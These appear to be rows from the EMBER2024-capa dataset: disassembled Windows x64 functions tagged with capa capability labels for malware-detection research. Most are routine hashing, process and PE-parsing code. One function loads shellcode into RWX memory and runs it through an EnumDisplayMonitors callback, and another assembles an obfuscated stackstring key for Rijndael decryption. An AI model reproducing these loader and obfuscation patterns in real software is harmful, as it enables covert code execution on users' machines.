joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140136710
Capabilities:
Create process on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xd8
lea rbp, [rsp + 0x110]
xorps xmm4, xmm4
movaps xmmword [rbp - 0x70], xmm4
movaps xmmword [rbp - 0x60], xmm4
movaps xmmword [rbp - 0x50], xmm4
xor eax, eax
mov qword [rbp - 0x40], rax
mov rsi, rdx
mov r14, qword [rbp + 0x48]
mov rdi, qword [rbp + 0x50]
mov rbx, qword [rbp + 0x58]
cmp byte [rbp + 0x30], 0
jne 0x14013675a
xor r15d, r15d
jmp 0x140136760
mov r15d, 1
test rcx, rcx
je 0x14013676b
add rcx, 0xc
jmp 0x14013676d
xor ecx, ecx
mov qword [rbp - 0x40], rcx
mov r12, rcx
mov qword [rbp - 0x48], r8
mov r13, r8
mov qword [rbp - 0x58], r9
mov rax, r9
mov qword [rbp - 0x50], rax
test r14, r14
je 0x140136791
add r14, 0xc
jmp 0x140136794
xor r14d, r14d
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x70], rbx
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov dword [rsp + 0x20], r15d
mov r15d, dword [rbp + 0x38]
mov dword [rsp + 0x28], r15d
mov r15, qword [rbp + 0x40]
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rbx
mov rcx, r12
mov qword [rbp - 0x78], rcx
mov rdx, rsi
mov qword [rbp - 0x80], rdx
mov r8, r13
mov qword [rbp - 0x88], r8
mov r9, qword [rbp - 0x50]
mov qword [rbp - 0x90], r9
lea rcx, [rbp - 0xb8]
call fcn.140004b40
mov rcx, qword [rbp - 0x78]
mov rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x88]
mov r9, qword [rbp - 0x90]
call sub.KERNEL32.dll_CreateProcessW
mov esi, eax
lea rcx, [rbp - 0xb8]
call fcn.140004b90
call sub.KERNEL32.dll_GetLastError
mov edi, eax
xor eax, eax
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], rax
test esi, esi
setne sil
movzx esi, sil
call fcn.140002e02
mov dword [rax + 8], edi
movzx eax, sil
add rsp, 0xd8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret

Function at 0x140136990
Capabilities:
Enumerate process modules

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0xb0]
xor eax, eax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x48], rax
mov esi, edx
test rcx, rcx
jne 0x1401369bd
xor edi, edi
jmp 0x1401369c1
lea rdi, [rcx + 0x10]
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x48], r8
mov rbx, r8
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov rcx, rdi
mov qword [rbp - 0x54], rcx
mov edx, esi
mov dword [rbp - 0x4c], edx
mov r8, rbx
mov qword [rbp - 0x5c], r8
lea rcx, [rbp - 0x88]
call fcn.140004b40
mov rcx, qword [rbp - 0x54]
mov edx, dword [rbp - 0x4c]
mov r8, qword [rbp - 0x5c]
call sub.KERNEL32.dll_K32EnumProcesses
mov esi, eax
lea rcx, [rbp - 0x88]
call fcn.140004b90
call sub.KERNEL32.dll_GetLastError
mov edi, eax
xor eax, eax
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], rax
test esi, esi
setne sil
movzx esi, sil
call fcn.140002e02
mov dword [rax + 8], edi
movzx eax, sil
add rsp, 0x78
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x140136f70
Capabilities:
Create pipe

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x98
lea rbp, [rsp + 0xd0]
xorps xmm4, xmm4
movups xmmword [rbp - 0x68], xmm4
xor eax, eax
mov qword [rbp - 0x58], rax
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rsi, r8
mov edi, r9d
xor edx, edx
mov dword [rbp - 0x3c], edx
mov qword [rbp - 0x48], rdx
mov qword [rbp - 0x50], rdx
lea rcx, [0x14025fa50]
call fcn.140003f10
mov rbx, rax
mov rcx, rbx
call fcn.1400760a0
mov qword [rbp - 0x60], rbx
lea rcx, [0x14025fa50]
call fcn.140003f10
mov r14, rax
mov rcx, r14
call fcn.1400760a0
mov qword [rbp - 0x68], r14
mov qword [rbp - 0x58], rsi
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
lea rcx, [rbp - 0x48]
mov qword [rbp - 0x74], rcx
lea rdx, [rbp - 0x50]
mov qword [rbp - 0x7c], rdx
mov r8, rsi
mov qword [rbp - 0x84], r8
mov r9d, edi
mov dword [rbp - 0x6c], r9d
lea rcx, [rbp - 0xb0]
call fcn.140004b40
mov rcx, qword [rbp - 0x74]
mov rdx, qword [rbp - 0x7c]
mov r8, qword [rbp - 0x84]
mov r9d, dword [rbp - 0x6c]
call sub.KERNEL32.dll_CreatePipe
mov esi, eax
lea rcx, [rbp - 0xb0]
call fcn.140004b90
call sub.KERNEL32.dll_GetLastError
mov edi, eax
xor edx, edx
mov qword [rbp - 0x58], rdx
mov dword [rbp - 0x3c], 1
test esi, esi
setne sil
movzx esi, sil
mov rbx, qword [rbp - 0x50]
mov r14, qword [rbp - 0x68]
mov qword [r14 + 8], rbx
mov rcx, qword [rbp + 0x18]
mov rdx, r14
call fcn.140004210
mov r15, qword [rbp - 0x48]
mov rbx, qword [rbp - 0x60]
mov qword [rbx + 8], r15
mov rcx, qword [rbp + 0x10]
mov rdx, rbx
call fcn.140004210
call fcn.140002e02
mov dword [rax + 8], edi
movzx eax, sil
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x1401641b0
Capabilities:
Hash data using murmur3

Disassembly:
push rdi
push rsi
sub rsp, 0x28
mov esi, ecx
cmp edx, 0xffffffff
jne 0x1401641c4
mov edi, 0xd5313557
jmp 0x1401641eb
mov ecx, edx
call fcn.1401640e0
mov rdx, rax
lea rcx, [0x14032da28]
lea r8, [0x140330980]
call fcn.14007e5d0
mov rcx, rax
call fcn.140164070
mov edi, eax
mov eax, edi
rol eax, 0xd
add eax, edi
mov edi, eax
xor edi, esi
mov eax, edi
rol eax, 0xf
add eax, edi
add rsp, 0x28
pop rsi
pop rdi
ret

Function at 0x1401a31e0
Capabilities:
Hash data using murmur3

Disassembly:
xor eax, eax
mov r8d, dword [rdx + 8]
test r8d, r8d
jle 0x1401a321e
mov r9d, eax
lea r9, [rdx + r9*8 + 0x10]
mov r9, qword [r9]
mov r10, r9
test r10, r10
jne 0x1401a3203
xor r10d, r10d
jmp 0x1401a3207
mov r10d, dword [r9 + 0x14]
mov r9d, ecx
rol r9d, 0xd
add r9d, ecx
mov ecx, r9d
xor ecx, r10d
inc eax
cmp r8d, eax
jg 0x1401a31eb
mov eax, ecx
rol eax, 0xf
add eax, ecx
ret

Function at 0x1401a57e0
Capabilities:
Hash data using murmur3

Disassembly:
push rdi
push rsi
sub rsp, 0x28
mov esi, ecx
mov edi, edx
call fcn.14000107c
mov eax, dword [rax]
add eax, 0x165667b1
add eax, 8
imul edx, esi, 0xc2b2ae3d
add edx, eax
rol edx, 0x11
imul eax, edx, 0x27d4eb2f
imul edx, edi, 0xc2b2ae3d
add edx, eax
rol edx, 0x11
imul eax, edx, 0x27d4eb2f
mov edx, eax
shr edx, 0xf
xor eax, edx
imul eax, eax, 0x85ebca77
mov edx, eax
shr edx, 0xd
xor eax, edx
imul eax, eax, 0xc2b2ae3d
mov edx, eax
shr edx, 0x10
xor eax, edx
add rsp, 0x28
pop rsi
pop rdi
ret

Function at 0x1401a8e10
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push rdi
push rsi
push rbp
push rbx
sub rsp, 0x28
mov rsi, r8
mov edi, edx
xor ebx, ebx
mov ebp, dword [rsi + 8]
test ebp, ebp
jle 0x1401a8e44
mov ecx, ebx
mov rcx, qword [rsi + rcx*8 + 0x10]
mov rax, qword [rcx]
call qword [rax + 0x28]
mov edx, edi
rol edx, 0xd
add edx, edi
mov edi, eax
xor edi, edx
inc ebx
cmp ebp, ebx
jg 0x1401a8e26
mov eax, edi
rol eax, 0xf
add eax, edi
add rsp, 0x28
pop rbx
pop rbp
pop rsi
pop rdi
ret

Function at 0x1401a8e60
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push rdi
push rsi
push rbp
push rbx
sub rsp, 0x28
mov rsi, r8
mov edi, edx
xor ebx, ebx
mov ebp, dword [rsi + 8]
test ebp, ebp
jle 0x1401a8e94
mov ecx, ebx
mov rcx, qword [rsi + rcx*8 + 0x10]
mov rax, qword [rcx]
call qword [rax + 0x28]
mov edx, edi
rol edx, 0xd
add edx, edi
mov edi, eax
xor edi, edx
inc ebx
cmp ebp, ebx
jg 0x1401a8e76
mov eax, edi
rol eax, 0xf
add eax, edi
add rsp, 0x28
pop rbx
pop rbp
pop rsi
pop rdi
ret
Function at 0x140011230
Capabilities:
Terminate process

Disassembly:
jmp 0x1400134f0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400112d0
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015c30
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015c50
xor al, al
jmp 0x140015cd1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015c63
xor al, al
jmp 0x140015cd1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140015c8d
xor al, al
jmp 0x140015cd1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140015ca1
xor al, al
jmp 0x140015cd1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140015cb3
xor al, al
jmp 0x140015cd1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140015ccf
xor al, al
jmp 0x140015cd1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400111ef
Capabilities:
Terminate process

Disassembly:
jmp 0x140012e80
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001126c
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
jmp 0x140011900
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x1400220a2]
call fcn.14001137a
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 8], rax
mov r8d, 1
lea rdx, [0x14001c1b0]
mov rcx, qword [rbp + 8]
call fcn.1400113b6
xor r9d, r9d
mov r8, qword [rbp + 8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplayMonitors]
xor eax, eax
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x140011276
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400141d0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400141f0
xor al, al
jmp 0x140014271
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014203
xor al, al
jmp 0x140014271
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001422d
xor al, al
jmp 0x140014271
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014241
xor al, al
jmp 0x140014271
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014253
xor al, al
jmp 0x140014271
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001426f
xor al, al
jmp 0x140014271
mov al, 1
add rsp, 0x38
ret
Function at 0x140006b14
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x40
cmp byte [rcx + 8], 0
mov rdi, r9
mov rsi, r8
mov rbp, rdx
mov rbx, rcx
je 0x140006c26
test r9, r9
je 0x140006c03
movsxd rcx, dword [rcx + 0x3d0]
xor edx, edx
mov rax, r9
div rcx
test rdx, rdx
jne 0x140006c03
mov rax, r9
xor r15d, r15d
div rcx
test rax, rax
je 0x140006bea
lea r14, [rbx + 0x3f8]
mov r8, rsi
mov rdx, rbp
mov rcx, rbx
call fcn.1400067c0
cmp byte [rbx + 8], 0
mov rcx, rsi
je 0x140006c49
mov eax, dword [rbx + 0x3d0]
xor r8d, r8d
test eax, eax
jle 0x140006bbc
mov rdx, r14
sub rdx, rsi
mov al, byte [rdx + rcx]
inc r8d
xor byte [rcx], al
inc rcx
mov eax, dword [rbx + 0x3d0]
cmp r8d, eax
jl 0x140006ba6
movsxd r8, eax
mov rdx, rbp
mov rcx, r14
call fcn.1400188a0
movsxd rcx, dword [rbx + 0x3d0]
xor edx, edx
mov rax, rdi
inc r15d
div rcx
add rbp, rcx
add rsi, rcx
movsxd rcx, r15d
cmp rcx, rax
jb 0x140006b78
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
mov rdx, qword [0x140073868]
lea rcx, [rsp + 0x20]
call fcn.140013308
lea rdx, [0x14006f8c0]
lea rcx, [rsp + 0x20]
call fcn.1400187a4
int3
mov rdx, qword [0x140073860]
lea rcx, [rsp + 0x20]
call fcn.140013308
lea rdx, [0x14006f8c0]
lea rcx, [rsp + 0x20]
call fcn.1400187a4
int3
mov rdx, qword [0x140073860]
lea rcx, [rsp + 0x20]
call fcn.140013308
lea rdx, [0x14006f8c0]
lea rcx, [rsp + 0x20]
call fcn.1400187a4
int3
Function at 0x140009174
Capabilities:
Hash data with md5

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x90
mov qword [r11 - 0x70], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov rax, qword [0x140071080]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov rdi, rcx
mov qword [r11 - 0x68], rcx
xor edx, edx
lea r8d, [rdx + 0x5c]
add rcx, 4
call fcn.140018d00
mov dword [rdi + 4], 0x67452301
mov dword [rdi + 8], 0xefcdab89
mov dword [rdi + 0xc], 0x98badcfe
mov dword [rdi + 0x10], 0x10325476
xor ecx, ecx
mov qword [rdi + 0xb0], rcx
lea eax, [rcx + 0xf]
mov qword [rdi + 0xb8], rax
mov byte [rdi + 0xa0], cl
mov qword [rdi + 0xd0], rcx
mov qword [rdi + 0xd8], rax
mov byte [rdi + 0xc0], cl
mov word [rdi], 0x101
mov word [rsp + 0x20], 0x33
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x68]
call fcn.140011738
nop
lea rdx, [0x1400634f0]
lea rcx, [rsp + 0x48]
call fcn.140011738
mov r8, rax
lea rdx, [rsp + 0x68]
mov rcx, rdi
call fcn.140001abc
nop
mov rdx, qword [rsp + 0x80]
cmp rdx, 0x10
jb 0x140009277
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009271
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000929b
call fcn.140016c84
nop
mov rax, rdi
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140016c60
mov rbx, qword [rsp + 0xa8]
add rsp, 0x90
pop rdi
ret
call fcn.14001b154
nop
int3
Function at 0x140023e98
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140023bfc
Function at 0x140035cec
Capabilities:
Check http status code

Disassembly:
mov rax, rsp
push rbp
push rdi
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
mov qword [rbp - 9], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rax, qword [0x140071080]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov rsi, rcx
xor ebx, ebx
lea rdx, [0x140064dd0]
lea rcx, [rbp + 0x1f]
call fcn.1400012bc
nop
movups xmm0, xmmword [rbp + 0x1f]
movups xmmword [rbp - 1], xmm0
movups xmm1, xmmword [rbp + 0x2f]
movups xmmword [rbp + 0xf], xmm1
movdqa xmm0, xmmword [0x140066480]
movdqu xmmword [rbp + 0x2f], xmm0
mov byte [rbp + 0x1f], bl
lea r15d, [rbx + 1]
mov r9d, r15d
lea r8d, [rbx + 0x50]
lea rdx, [rbp - 1]
mov rcx, rsi
call fcn.140036bfc
nop
mov rdx, qword [rbp + 0x37]
cmp rdx, 0x10
jb 0x140035da5
inc rdx
mov rcx, qword [rbp + 0x1f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035da0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140035ead
call fcn.140016c84
cmp byte [rsi + 0x20], bl
je 0x140035e79
lea rcx, [rbp + 0x1f]
call fcn.140036a20
nop
cmp qword [rax + 0x18], 0x10
jb 0x140035dc2
mov rax, qword [rax]
mov dword [rsp + 0x30], 0x4080000
lea r8, [0x140064e70]
mov rdx, rax
mov rcx, qword [rsi + 0x30]
call fcn.14003bd8c
mov rdi, rax
mov rdx, qword [rbp + 0x37]
cmp rdx, 0x10
jb 0x140035e1b
inc rdx
mov rcx, qword [rbp + 0x1f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140035e16
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140035ea7
call fcn.140016c84
movdqa xmm0, xmmword [0x140066480]
movdqu xmmword [rbp + 0x2f], xmm0
mov byte [rbp + 0x1f], bl
test rdi, rdi
je 0x140035e71
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call fcn.140006cb0
mov dword [rbp - 0x19], ebx
mov dword [rbp - 0x11], 4
lea r9, [rbp - 0x11]
lea r8, [rbp - 0x19]
mov edx, 0x20000013
mov rcx, rdi
call fcn.14004350c
movzx ebx, bl
cmp dword [rbp - 0x19], 0xc8
cmove ebx, r15d
mov rcx, rdi
call fcn.14003bc98
mov rcx, rsi
call fcn.140036bc0
mov al, bl
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.140016c60
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop rdi
pop rbp
ret
call fcn.14001b154
int3
call fcn.14001b154
int3
Function at 0x140037834
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, r8
call fcn.140044f5c
xor r10d, r10d
test eax, eax
js 0x140037a61
mov ecx, dword [rbx + 0xf0]
mov eax, ecx
shl eax, 2
movsxd r9, eax
test eax, eax
jle 0x1400378be
lea rdx, [rbx + 8]
lea rdx, [rdx + r9*4]
lea r8, [rbx + 8]
mov ecx, dword [r8 - 8]
add r10, 4
mov eax, dword [rdx - 8]
sub r9, 4
mov dword [r8 - 8], eax
mov eax, dword [rdx - 4]
mov dword [rdx - 8], ecx
mov ecx, dword [r8 - 4]
mov dword [r8 - 4], eax
mov eax, dword [rdx]
mov dword [rdx - 4], ecx
mov ecx, dword [r8]
mov dword [r8], eax
lea r8, [r8 + 0x10]
mov eax, dword [rdx + 4]
mov dword [rdx], ecx
lea rdx, [rdx - 0x10]
mov ecx, dword [r8 - 0xc]
mov dword [r8 - 0xc], eax
mov dword [rdx + 0x14], ecx
cmp r10, r9
jl 0x14003786f
mov ecx, dword [rbx + 0xf0]
mov r11d, 1
cmp ecx, r11d
jle 0x140037a5f
lea r10, [rbx + 2]
lea rdi, [0x140000000]
lea r10, [r10 + 0x10]
inc r11d
mov r8d, dword [r10 - 2]
mov eax, r8d
shr rax, 0x18
movzx edx, byte [rdi + rax*4 + 0x5e9c0]
movzx eax, byte [r10 - 1]
mov r9d, dword [rdi + rdx*4 + 0x5e5c0]
movzx ecx, byte [rdi + rax*4 + 0x5e9c0]
movzx eax, r8b
xor r9d, dword [rdi + rcx*4 + 0x5ddc0]
movzx ecx, byte [rdi + rax*4 + 0x5e9c0]
movzx eax, byte [r10]
xor r9d, dword [rdi + rcx*4 + 0x5d9c0]
movzx ecx, byte [rdi + rax*4 + 0x5e9c0]
xor r9d, dword [rdi + rcx*4 + 0x5e1c0]
mov dword [r10 - 2], r9d
mov r9d, dword [r10 + 2]
mov eax, r9d
shr rax, 0x18
movzx edx, byte [rdi + rax*4 + 0x5e9c0]
movzx eax, byte [r10 + 3]
mov r8d, dword [rdi + rdx*4 + 0x5e5c0]
movzx ecx, byte [rdi + rax*4 + 0x5e9c0]
movzx eax, byte [r10 + 4]
xor r8d, dword [rdi + rcx*4 + 0x5ddc0]
movzx ecx, byte [rdi + rax*4 + 0x5e9c0]
movzx eax, r9b
mov r9d, dword [r10 + 6]
xor r8d, dword [rdi + rcx*4 + 0x5e1c0]
movzx ecx, byte [rdi + rax*4 + 0x5e9c0]
mov eax, r9d
shr rax, 0x18
xor r8d, dword [rdi + rcx*4 + 0x5d9c0]
movzx edx, byte [rdi + rax*4 + 0x5e9c0]
movzx eax, byte [r10 + 7]
mov dword [r10 + 2], r8d
mov r8d, dword [rdi + rdx*4 + 0x5e5c0]
movzx ecx, byte [rdi + rax*4 + 0x5e9c0]
movzx eax, byte [r10 + 8]
xor r8d, dword [rdi + rcx*4 + 0x5ddc0]
movzx ecx, byte [rdi + rax*4 + 0x5e9c0]
movzx eax, r9b
mov r9d, dword [r10 + 0xa]
xor r8d, dword [rdi + rcx*4 + 0x5e1c0]
movzx ecx, byte [rdi + rax*4 + 0x5e9c0]
mov eax, r9d
shr rax, 0x18
xor r8d, dword [rdi + rcx*4 + 0x5d9c0]
movzx edx, byte [rdi + rax*4 + 0x5e9c0]
movzx eax, byte [r10 + 0xb]
mov dword [r10 + 6], r8d
mov r8d, dword [rdi + rdx*4 + 0x5e5c0]
movzx ecx, byte [rdi + rax*4 + 0x5e9c0]
movzx eax, byte [r10 + 0xc]
xor r8d, dword [rdi + rcx*4 + 0x5ddc0]
movzx ecx, byte [rdi + rax*4 + 0x5e9c0]
movzx eax, r9b
xor r8d, dword [rdi + rcx*4 + 0x5e1c0]
movzx ecx, byte [rdi + rax*4 + 0x5e9c0]
xor r8d, dword [rdi + rcx*4 + 0x5d9c0]
mov dword [r10 + 0xa], r8d
cmp r11d, dword [rbx + 0xf0]
jl 0x1400378d8
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14003ad04
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov al, byte [rcx]
mov r8, rcx
or edx, 0xffffffff
jmp 0x14003ad3a
movzx eax, al
mov r9d, 7
xor edx, eax
mov ecx, edx
mov eax, edx
and ecx, 1
shr eax, 1
neg ecx
and ecx, 0xedb88320
mov edx, ecx
xor edx, eax
sub r9d, 1
jns 0x14003ad19
inc r8
mov al, byte [r8]
test al, al
jne 0x14003ad0e
not edx
mov eax, edx
ret

Function at 0x14003ad94
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
lea rbp, [rsp - 0x1030]
mov eax, 0x1130
call fcn.140017920
sub rsp, rax
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [rsp + 0x1150], rbx
mov qword [rsp + 0x1158], rsi
mov rax, qword [0x140071080]
xor rax, rsp
mov qword [rbp + 0x1020], rax
mov rbx, rcx
mov qword [rsp + 0x50], rcx
lea rcx, [rsp + 0x50]
call fcn.140011738
nop
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.140046a78
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x14003ae35
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003ae30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003b00a
call fcn.140016c84
mov esi, 0x400
mov r8d, esi
xor edx, edx
lea rcx, [rbp + 0x420]
call fcn.140018d00
xor r9d, r9d
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x30]
sub rdx, r8
je 0x14003ae82
lea rcx, [rbp + 0x420]
lea rax, [rbp + 0x420]
sub r8, rax
mov al, byte [r8 + rcx]
mov byte [rcx], al
inc r9d
inc rcx
movsxd rax, r9d
cmp rax, rdx
jb 0x14003ae6e
mov r8, rsi
xor edx, edx
lea rcx, [rbp + 0xc20]
call fcn.140018d00
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov r8, rsi
xor edx, edx
lea rcx, [rbp + 0x820]
call fcn.140018d00
mov word [rbp + 0x40e], 0x3939
mov dword [rbp + 0x3f0], 0x37383843
mov dword [rbp + 0x3ff], 0x42324436
mov dword [rbp + 0x3f5], 0x44433234
mov word [rbp + 0x408], 0x4342
mov dword [rbp + 0x403], 0x42413436
mov word [rbp + 0x3fc], 0x3945
mov word [rbp + 0x3f9], 0x4132
mov byte [rbp + 0x410], 0
mov byte [rbp + 0x3fb], 0x37
mov byte [rbp + 0x3f4], 0x44
mov word [rbp + 0x40b], 0x3836
mov byte [rbp + 0x40a], 0x46
mov byte [rbp + 0x407], 0x43
mov byte [rbp + 0x3fe], 0x46
mov byte [rbp + 0x40d], 0x46
lea r8, [rbp + 0x3f0]
mov rdx, rsi
lea rcx, [rbp + 0x820]
call fcn.14001b2a4
lea rax, vtable.CRijndael.0
mov qword [rsp + 0x70], rax
mov byte [rsp + 0x78], 0
lea r8, [rsp + 0x50]
lea rdx, [rbp + 0x820]
lea rcx, [rsp + 0x70]
call fcn.14000f990
mov r9, qword [rsp + 0x38]
sub r9, qword [rsp + 0x30]
lea r8, [rbp + 0xc20]
lea rdx, [rbp + 0x420]
lea rcx, [rsp + 0x70]
call fcn.140006b14
lea rdx, [rbp + 0xc30]
mov rcx, rbx
call fcn.140011738
nop
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x14003afdd
mov rdx, qword [rsp + 0x40]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003afd8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003b004
call fcn.140016c84
mov rax, rbx
mov rcx, qword [rbp + 0x1020]
xor rcx, rsp
call fcn.140016c60
lea r11, [rsp + 0x1130]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.14001b154
nop
call fcn.14001b154
nop
Function at 0x1400471e4
Capabilities:
Hash data using sha256

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
and qword [rcx], 0
mov rax, r8
and qword [rcx + 8], 0
mov rdi, rdx
mov rdx, rax
mov dword [rcx + 0x50], 0x6a09e667
mov r8, r9
mov dword [rcx + 0x54], 0xbb67ae85
mov rbx, rcx
mov dword [rcx + 0x58], 0x3c6ef372
mov dword [rcx + 0x5c], 0xa54ff53a
mov dword [rcx + 0x60], 0x510e527f
mov dword [rcx + 0x64], 0x9b05688c
mov dword [rcx + 0x68], 0x1f83d9ab
mov dword [rcx + 0x6c], 0x5be0cd19
call fcn.14003bbc4
mov rdx, rdi
mov rcx, rbx
call fcn.140041490
mov rbx, qword [rsp + 0x30]
mov rax, rdi
add rsp, 0x20
pop rdi
ret